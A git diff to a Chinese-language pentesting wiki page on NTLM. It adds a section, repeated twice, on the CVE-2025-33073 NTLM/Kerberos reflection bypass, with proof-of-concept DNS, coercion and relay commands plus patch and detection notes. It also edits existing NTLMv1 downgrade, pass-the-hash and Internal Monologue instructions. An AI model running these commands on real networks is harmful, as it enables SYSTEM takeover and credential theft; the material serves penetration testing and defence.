diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index e3265d304..a8cbf0773 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,24 +2,70 @@ {{#include ../../banners/hacktricks-training.md}} -## 基本信息 +## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073) -在运行 **Windows XP 和 Server 2003** 的环境中,使用 LM (Lan Manager) 哈希,尽管广泛认为这些哈希容易被破解。一个特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM,代表一个空字符串的哈希。 +Windows包含几种缓解措施,试图防止*反射*攻击,其中来自主机的NTLM(或Kerberos)身份验证被重新传递回**同一**主机以获取SYSTEM权限。 -默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM (NT LAN Manager) 在特定情况下介入:缺少 Active Directory、域不存在、由于配置不当导致 Kerberos 故障,或在尝试使用 IP 地址而非有效主机名进行连接时。 +微软通过MS08-068(SMB→SMB)、MS09-013(HTTP→SMB)、MS15-076(DCOM→DCOM)及后续补丁破坏了大多数公共链,然而**CVE-2025-33073**显示保护仍然可以通过滥用**SMB客户端截断包含*序列化*(serialized)目标信息的服务主体名称(SPNs)**来绕过。 -网络数据包中存在 **"NTLMSSP"** 头部信号表示 NTLM 认证过程。 +### TL;DR of the bug +1. 攻击者注册一个**DNS A记录**,其标签编码一个序列化的SPN – 例如 +`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` +2. 受害者被迫对该主机名进行身份验证(PetitPotam, DFSCoerce等)。 +3. 当SMB客户端将目标字符串`cifs/srv11UWhRCAAAAA…`传递给`lsasrv!LsapCheckMarshalledTargetInfo`时,对`CredUnmarshalTargetInfo`的调用**去掉**了序列化的blob,留下**`cifs/srv1`**。 +4. `msv1_0!SspIsTargetLocalhost`(或Kerberos等效项)现在将目标视为*localhost*,因为短主机部分与计算机名称(`SRV1`)匹配。 +5. 因此,服务器设置`NTLMSSP_NEGOTIATE_LOCAL_CALL`并将**LSASS的SYSTEM访问令牌**注入上下文中(对于Kerberos,创建一个标记为SYSTEM的子会话密钥)。 +6. 使用`ntlmrelayx.py`**或**`krbrelayx.py`中继该身份验证可在同一主机上获得完全的SYSTEM权限。 + +### Quick PoC +```bash +# Add malicious DNS record +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ +-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ +-d 10.10.10.50 + +# Trigger authentication +PetitPotam.py -u user -p pass -d DOMAIN \ +srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL + +# Relay listener (NTLM) +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support + +# Relay listener (Kerberos) – remove NTLM mechType first +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support +``` +### Patch & Mitigations +* KB patch for **CVE-2025-33073** 在 `mrxsmb.sys::SmbCeCreateSrvCall` 中添加了检查,阻止任何目标包含序列化信息的 SMB 连接(`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`)。 +* 强制 **SMB 签名** 以防止即使在未打补丁的主机上也发生反射。 +* 监控类似 `*...*` 的 DNS 记录并阻止强制向量(PetitPotam, DFSCoerce, AuthIP...)。 + +### Detection ideas +* 网络捕获中包含 `NTLMSSP_NEGOTIATE_LOCAL_CALL`,其中客户端 IP ≠ 服务器 IP。 +* 包含子会话密钥和客户端主体等于主机名的 Kerberos AP-REQ。 +* Windows 事件 4624/4648 系统登录后立即跟随来自同一主机的远程 SMB 写入。 + +## References +* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) + +## Basic Information + +在 **Windows XP 和 Server 2003** 操作的环境中,使用 LM(Lan Manager)哈希,尽管广泛认为这些哈希容易被破解。特定的 LM 哈希 `AAD3B435B51404EEAAD3B435B51404EE` 表示未使用 LM,代表空字符串的哈希。 + +默认情况下,**Kerberos** 认证协议是主要使用的方法。NTLM(NT LAN Manager)在特定情况下介入:缺少 Active Directory、域不存在、Kerberos 由于配置不当而故障,或当尝试使用 IP 地址而不是有效主机名进行连接时。 + +网络数据包中存在 **"NTLMSSP"** 头部信号着 NTLM 认证过程。 对认证协议 - LM、NTLMv1 和 NTLMv2 - 的支持由位于 `%windir%\Windows\System32\msv1\_0.dll` 的特定 DLL 提供。 -**关键点**: +**Key Points**: -- LM 哈希易受攻击,空 LM 哈希 (`AAD3B435B51404EEAAD3B435B51404EE`) 表示未使用。 +- LM 哈希是脆弱的,空 LM 哈希(`AAD3B435B51404EEAAD3B435B51404EE`)表示未使用。 - Kerberos 是默认的认证方法,NTLM 仅在特定条件下使用。 - NTLM 认证数据包可通过 "NTLMSSP" 头部识别。 - LM、NTLMv1 和 NTLMv2 协议由系统文件 `msv1\_0.dll` 支持。 -## LM、NTLMv1 和 NTLMv2 +## LM, NTLMv1 and NTLMv2 您可以检查和配置将使用哪个协议: @@ -29,9 +75,9 @@ ![](<../../images/image (919).png>) -### 注册表 +### Registry -这将设置级别 5: +这将设置级别 5: ``` reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f ``` @@ -46,42 +92,42 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t RE ``` ## 基本 NTLM 域认证方案 -1. **用户**输入他的 **凭据** -2. 客户端机器 **发送认证请求**,发送 **域名** 和 **用户名** -3. **服务器**发送 **挑战** -4. **客户端使用**密码的哈希作为密钥对 **挑战** 进行加密,并将其作为响应发送 -5. **服务器将** **域名、用户名、挑战和响应** 发送给 **域控制器**。如果没有配置 Active Directory 或域名是服务器的名称,则凭据 **在本地检查**。 -6. **域控制器检查一切是否正确**,并将信息发送给服务器 +1. **用户**输入他的**凭据** +2. 客户端机器**发送认证请求**,发送**域名**和**用户名** +3. **服务器**发送**挑战** +4. **客户端使用**密码的哈希作为密钥对**挑战**进行加密,并将其作为响应发送 +5. **服务器将**域名、用户名、挑战和响应**发送给**域控制器。如果没有配置 Active Directory 或域名是服务器的名称,则凭据**在本地检查**。 +6. **域控制器检查一切是否正确**并将信息发送给服务器 -**服务器**和 **域控制器**能够通过 **Netlogon** 服务器创建 **安全通道**,因为域控制器知道服务器的密码(它在 **NTDS.DIT** 数据库中)。 +**服务器**和**域控制器**能够通过**Netlogon**服务器创建**安全通道**,因为域控制器知道服务器的密码(它在**NTDS.DIT**数据库中)。 ### 本地 NTLM 认证方案 -认证与之前提到的 **相同,但** **服务器**知道尝试在 **SAM** 文件中进行身份验证的 **用户的哈希**。因此,服务器将 **自行检查** 用户是否可以进行身份验证,而不是询问域控制器。 +认证与之前提到的**相同,但**服务器知道尝试在**SAM**文件中进行身份验证的**用户的哈希**。因此,服务器将**自行检查**用户是否可以进行身份验证,而不是询问域控制器。 ### NTLMv1 挑战 **挑战长度为 8 字节**,**响应长度为 24 字节**。 -**哈希 NT (16 字节)** 被分为 **3 个部分,每个部分 7 字节**(7B + 7B + (2B+0x00\*5)):**最后一部分用零填充**。然后,**挑战**与每个部分 **单独加密**,并将 **结果** 的加密字节 **连接**。总计:8B + 8B + 8B = 24 字节。 +**哈希 NT (16 字节)** 被分为 **3 个部分,每个部分 7 字节**(7B + 7B + (2B+0x00\*5)):**最后一部分用零填充**。然后,**挑战**与每个部分**单独加密**,并将**结果**的加密字节**连接**。总计:8B + 8B + 8B = 24 字节。 **问题**: -- 缺乏 **随机性** -- 3 个部分可以 **单独攻击** 以找到 NT 哈希 +- 缺乏**随机性** +- 3 个部分可以**单独攻击**以找到 NT 哈希 - **DES 可破解** -- 第 3 个密钥始终由 **5 个零** 组成。 -- 给定 **相同的挑战**,**响应** 将是 **相同的**。因此,您可以将字符串 "**1122334455667788**" 作为 **挑战** 提供给受害者,并使用 **预计算的彩虹表** 攻击响应。 +- 第 3 个密钥始终由**5 个零**组成。 +- 给定**相同的挑战**,**响应**将是**相同的**。因此,您可以将字符串“**1122334455667788**”作为**挑战**提供给受害者,并使用**预计算的彩虹表**攻击响应。 ### NTLMv1 攻击 -如今,发现配置了不受约束委派的环境变得越来越少,但这并不意味着您不能 **滥用配置的打印后台处理程序服务**。 +如今,发现配置了不受限制的委派的环境变得越来越少,但这并不意味着您不能**滥用配置的打印后台处理程序服务**。 -您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个您控制的主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb` 或 `responder`,您可以 **将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用 **NTLMv1** 进行,您将能够 **破解它**。\ -如果您使用 `responder`,可以尝试 **使用标志 `--lm`** 来尝试 **降级** **认证**。\ -_请注意,对于此技术,认证必须使用 NTLMv1 进行(NTLMv2 无效)。_ +您可以滥用您在 AD 上已经拥有的一些凭据/会话,**请求打印机对某个**您控制的**主机进行身份验证**。然后,使用 `metasploit auxiliary/server/capture/smb` 或 `responder`,您可以**将认证挑战设置为 1122334455667788**,捕获认证尝试,如果使用的是**NTLMv1**,您将能够**破解它**。\ +如果您使用 `responder`,可以尝试**使用标志 `--lm`**来尝试**降级**认证。\ +_请注意,对于此技术,身份验证必须使用 NTLMv1(NTLMv2 无效)进行。_ -请记住,打印机在认证期间将使用计算机帐户,而计算机帐户使用 **长且随机的密码**,您 **可能无法使用常见的字典破解**。但是 **NTLMv1** 认证 **使用 DES** ([更多信息在这里](#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。 +请记住,打印机在身份验证期间将使用计算机帐户,而计算机帐户使用**长且随机的密码**,您**可能无法使用常见的**字典**破解**。但是,**NTLMv1** 认证**使用 DES**([更多信息在这里](#ntlmv1-challenge)),因此使用一些专门用于破解 DES 的服务,您将能够破解它(例如,您可以使用 [https://crack.sh/](https://crack.sh) 或 [https://ntlmv1.com/](https://ntlmv1.com))。 ### 使用 hashcat 的 NTLMv1 攻击 @@ -157,18 +203,18 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c **挑战长度为 8 字节**,并且**发送 2 个响应**:一个是**24 字节**长,另一个的长度是**可变**的。 -**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密生成的,并使用**NT hash**的**MD4 哈希**作为**密钥**。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计:24 B。 +**第一个响应**是通过使用**HMAC_MD5**对由**客户端和域**组成的**字符串**进行加密生成的,并使用**NT 哈希**的**MD4 哈希**作为**密钥**。然后,**结果**将用作**密钥**,通过**HMAC_MD5**对**挑战**进行加密。为此,将**添加一个 8 字节的客户端挑战**。总计:24 B。 -**第二个响应**是使用**多个值**(一个新的客户端挑战,一个**时间戳**以避免**重放攻击**...)生成的。 +**第二个响应**是使用**多个值**(一个新的客户端挑战,一个**时间戳**以避免**重放攻击**等)生成的。 -如果你有一个**捕获了成功身份验证过程的 pcap**,你可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) +如果您有一个**捕获了成功身份验证过程的 pcap**,您可以按照本指南获取域、用户名、挑战和响应,并尝试破解密码:[https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash -**一旦你拥有受害者的哈希**,你可以用它来**冒充**受害者。\ -你需要使用一个**工具**,它将**使用**该**哈希执行**NTLM身份验证,**或者**你可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。 +**一旦您拥有受害者的哈希值**,您可以用它来**冒充**受害者。\ +您需要使用一个**工具**,该工具将**使用**该**哈希**执行**NTLM 身份验证**,**或者**您可以创建一个新的**sessionlogon**并将该**哈希**注入到**LSASS**中,这样当任何**NTLM 身份验证被执行**时,该**哈希将被使用**。最后一个选项就是 mimikatz 所做的。 -**请记住,你也可以使用计算机帐户执行 Pass-the-Hash 攻击。** +**请记住,您也可以使用计算机帐户执行 Pass-the-Hash 攻击。** ### **Mimikatz** @@ -185,7 +231,7 @@ Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm ### Impacket Windows编译工具 -您可以在此处下载[ impacket Windows二进制文件](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries)。 +您可以在此处下载[impacket Windows二进制文件](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries)。 - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` @@ -214,7 +260,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -这个功能是**所有其他功能的混合**。您可以传递**多个主机**,**排除**某些主机,并**选择**您想要使用的**选项**(_SMBExec, WMIExec, SMBClient, SMBEnum_)。如果您选择**任何**的**SMBExec**和**WMIExec**但您**没有**提供任何_**Command**_参数,它将仅仅**检查**您是否拥有**足够的权限**。 +这个功能是**所有其他功能的混合**。您可以传递**多个主机**,**排除**某些主机,并**选择**您想要使用的**选项**(_SMBExec, WMIExec, SMBClient, SMBEnum_)。如果您选择**任何**的**SMBExec**和**WMIExec**但**不**提供任何_**Command**_参数,它将仅**检查**您是否具有**足够的权限**。 ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -228,7 +274,7 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100 ``` wce.exe -s ::: ``` -### 手动Windows远程执行用户名和密码 +### 手动Windows远程执行,使用用户名和密码 {{#ref}} ../lateral-movement/ @@ -240,13 +286,13 @@ wce.exe -s ::: ## 内部独白攻击 -内部独白攻击是一种隐秘的凭据提取技术,允许攻击者从受害者的机器中检索NTLM哈希值,**而无需直接与LSASS进程交互**。与Mimikatz不同,后者直接从内存中读取哈希值,且常常被终端安全解决方案或凭据保护阻止,此攻击利用**通过安全支持提供程序接口(SSPI)对NTLM认证包(MSV1_0)的本地调用**。攻击者首先**降级NTLM设置**(例如,LMCompatibilityLevel、NTLMMinClientSec、RestrictSendingNTLMTraffic),以确保允许NetNTLMv1。然后,他们伪装成从运行进程中获得的现有用户令牌,并在本地触发NTLM认证,以使用已知挑战生成NetNTLMv1响应。 +内部独白攻击是一种隐秘的凭据提取技术,允许攻击者从受害者的机器中检索NTLM哈希值,**而无需直接与LSASS进程交互**。与Mimikatz不同,后者直接从内存中读取哈希值,且常常被终端安全解决方案或凭据保护阻止,此攻击利用**通过安全支持提供程序接口(SSPI)对NTLM认证包(MSV1_0)的本地调用**。攻击者首先**降级NTLM设置**(例如,LMCompatibilityLevel、NTLMMinClientSec、RestrictSendingNTLMTraffic),以确保允许NetNTLMv1。然后,他们伪装成从运行进程中获取的现有用户令牌,并在本地触发NTLM认证,以使用已知挑战生成NetNTLMv1响应。 在捕获这些NetNTLMv1响应后,攻击者可以快速使用**预计算的彩虹表**恢复原始NTLM哈希,从而启用进一步的Pass-the-Hash攻击以进行横向移动。至关重要的是,内部独白攻击保持隐秘,因为它不会生成网络流量、注入代码或触发直接内存转储,使其比传统方法(如Mimikatz)更难被防御者检测。 如果NetNTLMv1未被接受——由于强制的安全策略,攻击者可能无法检索到NetNTLMv1响应。 -为处理这种情况,内部独白工具进行了更新:它动态获取服务器令牌,使用`AcceptSecurityContext()`以在NetNTLMv1失败时仍然**捕获NetNTLMv2响应**。虽然NetNTLMv2更难破解,但在有限情况下,它仍然为中继攻击或离线暴力破解打开了一条路径。 +为处理这种情况,内部独白工具进行了更新:它动态获取服务器令牌,使用`AcceptSecurityContext()`仍然**捕获NetNTLMv2响应**,如果NetNTLMv1失败。虽然NetNTLMv2更难破解,但在有限情况下,它仍然为中继攻击或离线暴力破解打开了一条路径。 PoC可以在**[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**找到。 @@ -262,4 +308,50 @@ PoC可以在**[https://github.com/eladshamir/Internal-Monologue](https://github. **您可以使用** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) +## NTLM和Kerberos *反射* 通过序列化SPN(CVE-2025-33073) + +Windows包含几种缓解措施,试图防止*反射*攻击,其中来自主机的NTLM(或Kerberos)认证被中继回**同一**主机以获取SYSTEM权限。 + +微软通过MS08-068(SMB→SMB)、MS09-013(HTTP→SMB)、MS15-076(DCOM→DCOM)及后续补丁破坏了大多数公共链,然而**CVE-2025-33073**显示,保护措施仍然可以通过滥用**SMB客户端截断服务主体名称(SPN)**来绕过,这些名称包含*序列化*的目标信息。 + +### 漏洞的简要说明 +1. 攻击者注册一个**DNS A记录**,其标签编码了一个序列化的SPN – 例如 +`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` +2. 受害者被迫对该主机名进行身份验证(PetitPotam、DFSCoerce等)。 +3. 当SMB客户端将目标字符串`cifs/srv11UWhRCAAAAA…`传递给`lsasrv!LsapCheckMarshalledTargetInfo`时,对`CredUnmarshalTargetInfo`的调用**剥离**了序列化的blob,留下**`cifs/srv1`**。 +4. `msv1_0!SspIsTargetLocalhost`(或Kerberos等效项)现在将目标视为*localhost*,因为短主机部分与计算机名称(`SRV1`)匹配。 +5. 因此,服务器设置`NTLMSSP_NEGOTIATE_LOCAL_CALL`并将**LSASS的SYSTEM访问令牌**注入上下文中(对于Kerberos,创建一个标记为SYSTEM的子会话密钥)。 +6. 使用`ntlmrelayx.py` **或** `krbrelayx.py`中继该身份验证可在同一主机上获得完全的SYSTEM权限。 + +### 快速PoC +```bash +# Add malicious DNS record +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ +-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ +-d 10.10.10.50 + +# Trigger authentication +PetitPotam.py -u user -p pass -d DOMAIN \ +srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL + +# Relay listener (NTLM) +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support + +# Relay listener (Kerberos) – remove NTLM mechType first +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support +``` +### 修补与缓解措施 +* **CVE-2025-33073** 的 KB 补丁在 `mrxsmb.sys::SmbCeCreateSrvCall` 中添加了检查,阻止任何目标包含序列化信息的 SMB 连接(`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`)。 +* 强制 **SMB 签名** 以防止即使在未修补的主机上也发生反射。 +* 监控类似 `*...*` 的 DNS 记录并阻止强制向量(PetitPotam, DFSCoerce, AuthIP...)。 + +### 检测思路 +* 网络捕获中包含 `NTLMSSP_NEGOTIATE_LOCAL_CALL`,其中客户端 IP ≠ 服务器 IP。 +* 包含子会话密钥和客户端主体等于主机名的 Kerberos AP-REQ。 +* Windows 事件 4624/4648 系统登录后立即跟随来自同一主机的远程 SMB 写入。 + +## 参考文献 +* [Synacktiv – NTLM 反射已死,NTLM 反射万岁!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) + {{#include ../../banners/hacktricks-training.md}}